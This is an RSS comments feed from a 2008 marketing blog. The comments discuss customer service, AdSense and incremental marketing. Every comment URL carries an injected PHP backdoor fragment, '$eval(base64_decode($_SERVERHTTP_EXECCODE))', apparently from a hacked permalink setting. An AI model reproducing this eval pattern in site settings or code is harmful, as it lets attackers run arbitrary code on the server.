Comments for MAP Consulting, LLC http://mapconsultingllc.com/blog Quo vadis? Direct Response That Gets Results Thu, 14 Aug 2008 14:16:19 -0400 http://wordpress.org/?v=2.9.2 hourly 1 Comment on $100 Fine for Bad Customer Service by Mark http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-28 Mark Thu, 14 Aug 2008 14:16:19 +0000 http://mapconsultingllc.com/blog/?p=102#comment-28 The good news is that Verizon's executive escalation team was able to get me my gift card, so good job on their end. Now I've got a Best Buy gift card burning a hole in my pocket and no idea what to do with it. Maybe use it toward a new wide-screen LCD monitor for my desktop? Hmmm... The good news is that Verizon's executive escalation team was able to get me my gift card, so good job on their end.

Now I've got a Best Buy gift card burning a hole in my pocket and no idea what to do with it.

Maybe use it toward a new wide-screen LCD monitor for my desktop? Hmmm...

]]> Comment on What's the ROI on gold-plated customer service? by Verizon pays a $100 tax for their FiOS HDTV promotion : MAP Consulting, LLC http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-27 Verizon pays a $100 tax for their FiOS HDTV promotion : MAP Consulting, LLC Tue, 12 Aug 2008 14:44:37 +0000 http://mapconsultingllc.com/blog/?p=75#comment-27 [...] written about good customer service in the past, highlighting my excellent experience with L.L. Bean. I've postulated that quality customer service is actually free, because the incremental sales more [...] [...] written about good customer service in the past, highlighting my excellent experience with L.L. Bean. I've postulated that quality customer service is actually free, because the incremental sales more [...]

]]> Comment on Can Marketing Cure What Ails You? by Mark http://mapconsultingllc.com/blog/2008/07/15/can-marketing-cure-what-ails-you/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-26 Mark Fri, 08 Aug 2008 14:31:27 +0000 http://mapconsultingllc.com/blog/?p=82#comment-26 Guy Kawasaki pointed me to an article about a trip to Turkey that clearly showed how a rug merchant used all 6 of Cialdini's Influence principles. It's available at http://academicbiz.typepad.com/piloted/2007/01/what_i_learned_.html and worth the read. Guy Kawasaki pointed me to an article about a trip to Turkey that clearly showed how a rug merchant used all 6 of Cialdini's Influence principles. It's available at http://academicbiz.typepad.com/piloted/2007/01/what_i_learned_.html and worth the read.

]]> Comment on An Olympic Sized Marketing Problem for China? by Mark http://mapconsultingllc.com/blog/2008/07/21/an-olympic-sized-marketing-problem-for-china/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-25 Mark Fri, 08 Aug 2008 13:44:48 +0000 http://mapconsultingllc.com/blog/?p=86#comment-25 It's interesting to see how AdSense works. This morning, I found that NBC was running ads for their Beijing Olympics site and the ad showed up here via AdSense. It must have been the Beijing and Olympic language in this post. I ended up having to block that site from AdSense, as I'm not participating in the Olympics this year for personal reasons. It's interesting to see how AdSense works. This morning, I found that NBC was running ads for their Beijing Olympics site and the ad showed up here via AdSense. It must have been the Beijing and Olympic language in this post.

I ended up having to block that site from AdSense, as I'm not participating in the Olympics this year for personal reasons.

]]> Comment on The Incremental Giveth... and Taketh Away by Mark http://mapconsultingllc.com/blog/2008/08/06/the-incremental-giveth-and-taketh-away/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-24 Mark Thu, 07 Aug 2008 01:28:39 +0000 http://mapconsultingllc.com/blog/?p=88#comment-24 Alan, Great followup by George. I commented back as well. I think we're both fundamentally on the same page here, just looking at it through slightly different lenses and thinking about the incremental efforts slightly differently. For those wanting to see the discussion, please check Alan's link above. Mark Alan,

Great followup by George. I commented back as well. I think we're both fundamentally on the same page here, just looking at it through slightly different lenses and thinking about the incremental efforts slightly differently.

For those wanting to see the discussion, please check Alan's link above.

Mark

]]> Comment on The Incremental Giveth... and Taketh Away by rimm-kaufman http://mapconsultingllc.com/blog/2008/08/06/the-incremental-giveth-and-taketh-away/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-23 rimm-kaufman Wed, 06 Aug 2008 21:28:40 +0000 http://mapconsultingllc.com/blog/?p=88#comment-23 Hi Mark -- Thanks for the link! For those interested, George posted a followup to your post here at this link: <a href="http://www.rimmkaufman.com/rkgblog/2008/08/05/incremental-efficiency/" rel="nofollow">http://www.rimmkaufman.com/rkgblog/2008/08/05/incremental-efficiency/</a> Here's the image too <a> Cheers -- Alan <a href="http://www.rkgblog.com" rel="nofollow">rkgblog.com</a> Hi Mark --

Thanks for the link!

For those interested, George posted a followup to your post here at this link:

http://www.rimmkaufman.com/rkgblog/2008/08/05/incremental-efficiency/

Here's the image too

Cheers --

Alan

rkgblog.com

]]> Comment on Is LTV the first step in my marketing plan? by Incremental Marketing Investments--Improving Your Performance : MAP Consulting, LLC http://mapconsultingllc.com/blog/2008/04/14/is-ltv-the-first-step-in-my-marketing-plan/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-22 Incremental Marketing Investments--Improving Your Performance : MAP Consulting, LLC Wed, 06 Aug 2008 15:07:15 +0000 http://mapconsultingllc.com/blog/2008/04/14/is-ltv-the-first-step-in-my-marketing-plan/#comment-22 [...] I was reading it, I started to think about applying LTV to the methodology.  When you think about making decisions based on LTV, the story becomes even [...] [...] I was reading it, I started to think about applying LTV to the methodology.  When you think about making decisions based on LTV, the story becomes even [...]

]]> Comment on What's the ROI on gold-plated customer service? by Apple gives one month free service : MAP Consulting, LLC http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-21 Apple gives one month free service : MAP Consulting, LLC Sun, 20 Jul 2008 13:43:49 +0000 http://mapconsultingllc.com/blog/?p=75#comment-21 [...] apologizing as well as a free month of service.  Smart customer service move by Apple which, like L.L. Bean, knows service.  The cost of providing that extra month of service is ~$0 and should easily pay [...] [...] apologizing as well as a free month of service.  Smart customer service move by Apple which, like L.L. Bean, knows service.  The cost of providing that extra month of service is ~$0 and should easily pay [...]

]]> Comment on Following the Social Media Money by Mark http://mapconsultingllc.com/blog/2008/07/09/following-the-social-media-money/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-20 Mark Thu, 10 Jul 2008 21:57:52 +0000 http://mapconsultingllc.com/blog/?p=80#comment-20 Apparently, the folks at Iris are only interested in comments on their website that support the "bringing back purple" theme. My very polite comment that their assertion on the home page of a Grand Prize gift of a $600 gift card was incorrect (it's actually $599) wasn't approved. Is Iris or Sony Ericsson REALLY interested in social buzz (which always means negative or irrelevant comments, as well as positive)? Apparently, the folks at Iris are only interested in comments on their website that support the "bringing back purple" theme.

My very polite comment that their assertion on the home page of a Grand Prize gift of a $600 gift card was incorrect (it's actually $599) wasn't approved.

Is Iris or Sony Ericsson REALLY interested in social buzz (which always means negative or irrelevant comments, as well as positive)?

]]> Comment on What's the ROI on gold-plated customer service? by Mark http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-19 Mark Sat, 07 Jun 2008 14:24:16 +0000 http://mapconsultingllc.com/blog/?p=75#comment-19 Another reason why L.L. Bean is a terrific customer service organization is that they've decided to server their ties with Bank of America, the current provider of the L.L. Bean rewards card. Why? To improve customer service at the request of customers. In plain English, this means that when B of A took over MBNA, they started messing with Bean's customers. A quick article is at: http://www.dmnews.com/LL-Bean-severs-ties-with-credit-card-issuer/article/110524/ Another reason why L.L. Bean is a terrific customer service organization is that they've decided to server their ties with Bank of America, the current provider of the L.L. Bean rewards card. Why?

To improve customer service at the request of customers.

In plain English, this means that when B of A took over MBNA, they started messing with Bean's customers.

A quick article is at: http://www.dmnews.com/LL-Bean-severs-ties-with-credit-card-issuer/article/110524/

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